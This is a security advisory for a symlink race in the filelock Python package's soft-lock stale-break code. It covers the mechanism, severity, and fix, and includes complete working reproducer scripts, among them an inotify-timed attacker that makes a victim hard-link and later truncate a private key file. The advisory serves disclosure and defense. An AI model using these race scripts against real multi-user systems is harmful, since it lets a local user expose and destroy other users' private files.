GHSA-crv4-6mhj-j5jh: Medium severity pip/filelock vulnerability
When a soft-lock stale break finds that the marker (the lock file at <path>) it renamed aside was a live one recreated by a successor, the restore branch of breaklockfile() checks the break name with lstat (a check that reads a name without following a symbolic link) and then calls os.link(breakpath, lockfile) by name. On CPython 3.12 and later on Linux (and on macOS) that call follows a symbolic link (a file that redirects to another path). A local user (the other user below) who can write a shared lock directory without the sticky bit (a directory flag that lets only a file's owner rename or remove it) replaces the break name with a symbolic link between those two calls.
The SoftFileLock, MarkerSoftFileLock, SoftFileLease or lifetime break of the user running the lock (the lock user below) then creates a hard link (a second name for the same file), in that directory, to any of the lock user's own files on the same filesystem. That includes files inside directories the other user cannot enter and links that fs.protectedhardlinks (a Linux setting that forbids hard links to files one does not own) refuses the other user when it asks itself. The link exposes the file's size, times, mode and owner, keeps the inode (the kernel's identity for a file, independent of its name) alive, and gives the other user a name it can move. On 4.2.0 a later FileLock of the lock user on that name truncated the file. Affected versions: filelock >= 4.1.0 and <= 4.2.0 (finding ANT-2026-SB29HIAL).
Severity
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N, 5.3 (Medium).
AV:L (local): the other user needs an account on the same host. AC:H (high attack complexity): two short races against a few lines of Python, timed by inotify (a Linux facility that reports file events), and the lock user must take the lock again and again (the scanner won 10 runs out of 10 after 9 to 910 lock cycles). PR:L (low privileges): an unprivileged account is enough. UI:N (no user interaction): the lock user's process acts on its own. C:L (low confidentiality impact): the file's metadata through the new name, not its content. I:H (high integrity impact): the other user chooses the file, and whatever the lock user later does to names in that directory lands on it. On 4.2.0 the lock user's own FileLock truncated the 17-byte private file to 0 bytes and, with a permissive mode, would have changed its mode too. A:N (no availability impact): the lock keeps working.
Classification from the review: security, conditional on a shared parent without the sticky bit, which crosses the protected-directory boundary. The scanner rated it high (CWE-363). This is an earlier-public-context finding. #786 added the restore branch and guarded a symbolic link already present when lstat runs, not one swapped in after it.
Scope and preconditions
- The other user can write the lock directory, and it has no sticky bit: a 0777 or group-writable cache or project directory. In a root-owned 1777 directory the unprivileged lock user cannot rename the other user's marker and only waits. In a 1777 directory the lock user owns, fs.protectedsymlinks=1 (a Linux setting that refuses to follow another user's symbolic link in a world-writable sticky directory) makes the link fail with EACCES (permission denied). Testing showed no effect in sticky directories. - The interpreter's os.link follows symbolic links. CPython 3.14 on Linux issues linkat(..., ATSYMLINKFOLLOW). CPython 3.11 issues link(2), which links the symbolic link itself, and is not affected. The scanner did not test 3.12 and 3.13. On macOS link(2) follows (confirmed in our review on macOS 27.0.1: a plain os.link of a symbolic link gave the target stnlink 2, that is two names). - The target file and the lock directory are on the same filesystem (hard links cannot cross filesystems), and the lock user takes the lock more than once. - Every soft-lock path reaches the branch: SoftFileLock, MarkerSoftFileLock, SoftFileLease and the lifetime break. The native FileLock does not, but it is the consumer that turns the planted link into a truncation.
filelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against. This finding is about what the lock itself adds inside such a directory, a hard link the other user cannot make on its own.
Affected code
At the scanned commit b831496, the restore branch of breaklockfile runs for SoftFileLock.trybreakstalelock, MarkerSoftFileLock, SoftFileLease and the lifetime break. The truncation in UnixFileLock.finalizelockedfd is what a later native lock on the planted name did to the file (reported in its own advisory).
Introduced
fc73fc51e137 ("fix(soft): restore a live marker a stale break moved aside", #786, 2026-10-08), first released in 4.1.0 (verified against the tags). Releases before 4.1.0 have no restore branch, so this does not affect them.
Mechanism
python src/filelock/util.py:115-122 breakpath: Final[str] = f"{lockfile}.break.{os.getpid()}.{secrets.tokenhex(16)}" Path(lockfile).rename(breakpath) if (stafter := os.lstat(breakpath)).stmtime <= mtimebefore and stafter.stino == inobefore: Path(breakpath).unlink() elif stat.SISREG(stafter.stmode) and HASLINK: # pragma: needs hard-link with suppress(FileExistsError): os.link(breakpath, lockfile) Path(breakpath).unlink()
The SISREG test (is it a regular file) is about what lstat saw on line 117, not about what link resolves on line 121. The docstring says the code must not put a symbolic link back "because link would follow a symlink to its target", and the test at the scanned commit names the consequence ("publish the victim file's inode at the lock path"), but that test only covers a symbolic link that is already there when lstat runs. The 128-bit token stops others from guessing the break name, not from reading it. The name is in the directory listing from the moment the rename has happened. The package's other links pass followsymlinks=False where the runtime honours it; this one does not. An strace (a tool that logs a process's system calls) on CPython 3.14.8 shows os.link(a, b) as linkat(ATFDCWD, a, ATFDCWD, b, ATSYMLINKFOLLOW).
The other user plays both the stale holder and the "successor" the branch exists for:
1. The other user leaves a genuine marker of a dead process at the lock path (a forked child takes the lock and exits). The lock user's trybreakstalelock() reads it and ownerisstale() agrees, so breaklockfile() renames it to app.lock.break.<pid>.<token>. In a directory without the sticky bit the lock user may rename a file it does not own. 2. The other user still owns that file and gives it a newer mtime (modification time) after the lstat on line 113. Line 117 then takes it for a recreated marker, and line 119 sees a regular file. 3. The other user renames a symbolic link to the lock user's private file over the break name. 4. Line 121 resolves the link with the lock user's credentials, so app.lock becomes a second hard link to the private file. Line 122 removes the symbolic link.
The other user's own os.link() on the private file fails with EACCES (it cannot enter the 0700 directory). On a file of the lock user it can reach, fs.protectedhardlinks=1 answers EPERM (operation not permitted). The lock user would evict the odd "marker" after MALFORMEDLOCKAGETHRESHOLD (2 s), so the other user moves it to another name first, which the non-sticky directory allows. Both steps are races against a few lines of Python. There are about 40 µs between the lstat on line 113 and the one on line 117 (half of it the rename), and about 2 µs between line 117 and the os.link() call. inotify tells the other user when to act. A watch reports the lock user closing the marker after reading it, then the rename together with the break name. A bump that comes before line 113 costs nothing, since line 113 returns and the lock user looks again on its next poll.
Reproduction
The scanner's reproducer for finding ANT-2026-SB29HIAL, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The repro script drives the files under repro.d/.
repro
python #!/usr/bin/env python3 import os import shutil import subprocess import sys
sys.stdout.reconfigure(linebuffering=True)
SHAREDDIR = "/tmp/shared-locks" LOCKPATH = SHAREDDIR + "/app.lock" PRIVATEDIR = "/home/victim/private" KEYPATH = PRIVATEDIR + "/signing.key" ASVICTIM = {"user": "victim", "group": "victim", "extragroups": []} ASATTACKER = {"user": "attacker", "group": "attacker", "extragroups": []} strace alters no call. On calls that name the lock path it holds the victim 2 s after rename() and 2 s before linkat(), that is on both sides of the lstat of the break name in breaklockfile() (src/filelock/util.py:117). SLOWEDDOWN = ["strace", "-o", "/dev/null", "-P", LOCKPATH, "-e", "trace=rename,linkat"] SLOWEDDOWN += ["-e", "inject=rename:delayexit=2000000", "-e", "inject=linkat:delayenter=2000000"]
set up: the victim's key in a 0700 directory, and a lock directory anyone can write, without the sticky bit shutil.rmtree(PRIVATEDIR, ignoreerrors=True) os.mkdir(PRIVATEDIR, 0o700) with open(KEYPATH, "w") as keyfile: keyfile.write("0123456789abcdef\n") os.chmod(KEYPATH, 0o600) shutil.chown(PRIVATEDIR, "victim", "victim") shutil.chown(KEYPATH, "victim", "victim") shutil.rmtree(SHAREDDIR, ignoreerrors=True) os.mkdir(SHAREDDIR) os.chmod(SHAREDDIR, 0o777) keybefore = os.stat(KEYPATH) print(f"{KEYPATH}: links={keybefore.stnlink} size={keybefore.stsize}") for knob in ("protectedhardlinks", "protectedsymlinks"): print(f"fs.{knob} =", open(f"/proc/sys/fs/{knob}").read().strip())
control: the attacker cannot give the key a name in the shared directory by itself linkbyattacker = f"import os; os.link({KEYPATH!r}, {SHAREDDIR + '/by-attacker'!r})" control = subprocess.run([sys.executable, "-c", linkbyattacker], captureoutput=True, text=True, ASATTACKER) print("CONTROL the attacker's own link() of the key:", control.stderr.strip().splitlines()[-1])
attack: the victim takes an ordinary SoftFileLock while the attacker works on the break name subprocess.run([sys.executable, "/tmp/repro.d/plantstalemarker.py", LOCKPATH], check=True, ASATTACKER) attacker = subprocess.Popen([sys.executable, "/tmp/repro.d/swapbreakname.py", LOCKPATH, KEYPATH], ASATTACKER) victimjob = [SLOWEDDOWN, sys.executable, "/tmp/repro.d/victimjob.py", LOCKPATH] subprocess.run(victimjob, check=True, timeout=60, ASVICTIM) assert attacker.wait(timeout=30) == 0, "the attacker did not get through its steps"
check, as root: does the key now have a name in the shared directory? keyafter = os.stat(KEYPATH) namesofthekey = [ name for name in os.listdir(SHAREDDIR) if os.path.samestat(keyafter, os.lstat(f"{SHAREDDIR}/{name}")) ] print(f"OBSERVED {KEYPATH}: links={keyafter.stnlink}, names in {SHAREDDIR} with its inode: {namesofthekey}")
if namesofthekey: # what that name is good for: another program of the victim takes a FileLock there, which truncates the file sharedname = f"{SHAREDDIR}/{namesofthekey[0]}" victimotherjob = [sys.executable, "/tmp/repro.d/victimotherjob.py", sharedname] subprocess.run(victimotherjob, check=True, timeout=60, ASVICTIM) print(f"OBSERVED {KEYPATH}: size={os.stat(KEYPATH).stsize} after the victim's FileLock({sharedname!r})")
print("BUG" if control.returncode != 0 and namesofthekey else "OK")
repro.d/plantstalemarker.py
python import os import sys
from filelock import SoftFileLock
a genuine marker of a holder that died: a child takes the lock and exits without releasing it if (child := os.fork()) == 0: holder = SoftFileLock(sys.argv[1]) # kept referenced: a collected lock releases itself holder.acquire() os.exit(0) os.waitpid(child, 0) print("attacker: left", sys.argv[1], "held by pid", child, "which has exited", flush=True)
repro.d/swapbreakname.py
python import glob import os import sys import time
lockpath, keypath = sys.argv[1:] keptpath = os.path.join(os.path.dirname(lockpath), "other.lock")
the victim judged the marker stale and renamed it to <lock>.break.<pid>.<random>; anyone can list the directory deadline = time.monotonic() + 30 while not (breakpaths := glob.glob(lockpath + ".break.")): assert time.monotonic() < deadline, "the victim never moved the marker aside" time.sleep(0.01) [breakpath] = breakpaths print("attacker: the victim renamed the marker to", os.path.basename(breakpath), flush=True)
still the attacker's file: a newer mtime makes the victim take it for a marker a live holder recreated, and restore it os.utime(breakpath)
time.sleep(3) # repro holds the victim 2 s before its lstat of the break name and 2 s more before its link os.symlink(keypath, lockpath + ".symlink") os.rename(lockpath + ".symlink", breakpath) print("attacker: replaced", os.path.basename(breakpath), "with a symlink to", keypath, flush=True)
the victim would evict what it linked at the lock path as a malformed marker after 2 s: keep it under another name deadline = time.monotonic() + 5 while not os.path.lexists(lockpath) and time.monotonic() < deadline: time.sleep(0.01) try: os.rename(lockpath, keptpath) print("attacker: renamed", os.path.basename(lockpath), "to", keptpath, flush=True) except FileNotFoundError: print("attacker: the victim linked nothing at", os.path.basename(lockpath), flush=True)
repro.d/unpausedattacker.py
python #!/usr/bin/env python3 """Optional, not run by repro: the two steps of swapbreakname.py, timed by inotify against a victim that nobody pauses.""" import ctypes import os import random import struct import sys import time
from filelock import SoftFileLock
lockpath, victimfile, keptname = sys.argv[1:] os.chdir(os.path.dirname(lockpath)) lockname = os.path.basename(lockpath).encode() INNONBLOCK, INCLOSENOWRITE, INMOVEDTO = 0o4000, 0x10, 0x80
def spin(microseconds): until = time.perfcounter() + microseconds / 1e6 while time.perfcounter() < until: pass
The bytes of a genuine marker of a dead process. if os.fork() == 0: crashedholder = SoftFileLock(lockpath) crashedholder.acquire() os.exit(0) os.wait() with open(lockname, "rb") as markerfile: stalemarker = markerfile.read() os.unlink(lockname)
libc = ctypes.CDLL(None) inotify = libc.inotifyinit1(INNONBLOCK) libc.inotifyaddwatch(inotify, b".", INMOVEDTO) markermtime = 1000000000 lockcycles = 0 while True: lockcycles += 1 os.symlink(victimfile, b"symlink") marker = os.open(b"staged", os.OCREAT | os.OEXCL | os.OWRONLY, 0o644) os.write(marker, stalemarker) os.utime(marker, (markermtime, markermtime)) markerwatch = libc.inotifyaddwatch(inotify, b"staged", INCLOSENOWRITE) while True: # plant it as soon as the victim has released the lock try: os.link(b"staged", lockname) break except FileExistsError: pass os.unlink(b"staged")
breakname = None while breakname is None: try: events = os.read(inotify, 4096) except BlockingIOError: continue while events and breakname is None: , mask, , namelength = struct.unpackfrom("iIII", events) name = events[16 : 16 + namelength].rstrip(b"\0") events = events[16 + namelength :] if mask & INCLOSENOWRITE: # The victim has read the marker and is about to judge it stale and lstat it again. A bump that comes # before that lstat only makes the victim start over on its next poll. spin(random.uniform(40, 100)) markermtime += 1 os.utime(marker, (markermtime, markermtime)) elif name.startswith(lockname + b".break."): # The victim has renamed the marker and is about to lstat the break name and link it back. os.rename(b"symlink", name) breakname = name libc.inotifyrmwatch(inotify, markerwatch) os.close(marker)
time.sleep(0.001) try: atlockpath = os.lstat(lockname) if atlockpath.stuid != os.getuid() and atlockpath.stnlink == 2: os.rename(lockname, keptname) print(f"after {lockcycles} lock cycles the victim linked its file here as {keptname!r}:", atlockpath) break except FileNotFoundError: pass for leftover in (b"symlink", breakname): if os.path.lexists(leftover): os.unlink(leftover) try: os.read(inotify, 65536) except BlockingIOError: pass
repro.d/unpausedvictim.py
python #!/usr/bin/env python3 """Optional, not run by repro: a victim job that takes the SoftFileLock again and again, paused by nobody.""" import sys import time
from filelock import SoftFileLock
lock = SoftFileLock(sys.argv[1]) while True: with lock: time.sleep(0.005) time.sleep(0.005)
repro.d/victimjob.py
python import sys
from filelock import SoftFileLock
with SoftFileLock(sys.argv[1]): print("victim: holds", sys.argv[1], flush=True)
repro.d/victimotherjob.py
python import sys
from filelock import FileLock
with FileLock(sys.argv[1]): print("victim: holds", sys.argv[1], flush=True)
Attack sequence
mermaid sequenceDiagram participant X as other local user (uid 1001) participant D as /tmp/shared-locks (0777, not sticky) participant V as SoftFileLock of the lock user (uid 1000) participant K as ~victim/private/signing.key (0600 in a 0700 dir) X->>D: child takes app.lock and exit()s: dead-holder marker owned by X V->>D: read marker, ownerisstale, lstat ok: rename app.lock to app.lock.break. rect rgb(255, 214, 214) X->>D: inotify sees the rename: utime the break file (newer mtime) V->>D: lstat break name: mtime newer, SISREG: treat as a recreated live marker X->>D: rename a symbolic link to signing.key over the break name V->>K: os.link(break name, app.lock) follows the symbolic link: app.lock is a second name of the file X->>D: rename app.lock to other.lock before the 2 s eviction Note over V,K: the lock user's FileLock("other.lock") on 4.2.0 truncates the file to 0 bytes end
Evidence
The scanner's reproducer takes about 5 s and is deterministic. Root creates /home/victim/private (0700) with signing.key (17 bytes, 0600) and /tmp/shared-locks (0777, no sticky bit), with fs.protectedhardlinks = 1 and fs.protectedsymlinks = 1. In the control step, the attacker account runs os.link(key, /tmp/shared-locks/by-attacker) and gets Permission denied. Then the attacker child leaves app.lock held by pid 253 which has exited. The victim account runs with SoftFileLock(path) under strace -P ... -e inject=rename:delayexit=2000000 -e inject=linkat:delayenter=2000000, which holds it 2 s after its rename() and 2 s before its linkat() without changing any call. The attacker account bumps the break file, swaps in the symbolic link, and renames app.lock to other.lock.
The result line reads signing.key: links=2, names in /tmp/shared-locks with its inode: ['other.lock'], and after the victim account's second program takes FileLock('/tmp/shared-locks/other.lock'), size=0. Verdict BUG. The unpaused variant (unpausedvictim.py looping on the lock, unpausedattacker.py timing both steps with inotify) won 10 runs out of 10 on the 2-CPU image after 9 to 910 lock cycles (1 to 65 s); one run won after 128 cycles (8 s).
Our review: BUG on 4.2.0 (triage), OK on the head of #843. On macOS 27.0.1 (CPython 3.13.16) a plain os.link of a symbolic link follows it (target stnlink 2) while followsymlinks=False links the symbolic link itself, which confirms the report's macOS note.
Impact
A local user who can write a lock directory that has no sticky bit makes a user of a soft lock in that directory create a hard link there to one of that user's own files on the same filesystem, including files inside directories the other user cannot enter. The content stays unreadable, but the other user now reads size, times, mode and owner of the file through the new name, keeps the inode alive after the lock user deletes or rotates the file, and holds what fs.protectedhardlinks exists to deny, a name it can move around for someone else's file.
Whatever the lock user later does to names in that directory lands on the file, and filelock 4.2.0 was such a consumer itself. UnixFileLock.finalizelockedfd() ran os.ftruncate(fd, 0) on whatever regular file ONOFOLLOW let it open. The other user moved the link to other.lock, the lock user took FileLock("other.lock"), and the 17-byte private file became 0 bytes. The other user can also move the link into sticky /tmp on the same filesystem before the lock user locks it there, and a FileLock with a permissive mode such as 0o666 applied that mode to the private file too, after which the other user could write its content.
On its own, without such a second lock, the result is the link and the metadata above. The other user has to win two short races and needs the lock user to take the lock more than once. Not affected: sticky directories on the tested settings, CPython 3.11 on Linux, releases before 4.1.0.
Workarounds
Keep soft locks out of directories other users can write without the sticky bit; a 0700 directory of the lock's user, or a sticky directory, is not affected. On CPython 3.11 on Linux the swap has no effect. Do not take a native FileLock on a name another user controls.
Patched version
4.2.1.
Fix: https://github.com/tox-dev/filelock/pull/843
Credits
Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.
- 2026-10-15 23:08 UTC: report received (finding ANT-2026-SB29HIAL, scanned commit b831496b0273; related earlier-public work: #786) - 2026-10-16 01:42 UTC: fix PR #843 opened - 2026-10-16 05:38 UTC: draft advisory created
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/filelockto a version that resolves this vulnerability.Fixed in 4.2.1 - Upgrade
Upgrade
filelockto a version that resolves this vulnerability.Patch #843 - Compensating control
Keep soft locks out of directories other users can write without the sticky bit; use a 0700 directory owned by the lock user or a sticky directory.
- Compensating control
Do not take a native FileLock on a name another user controls.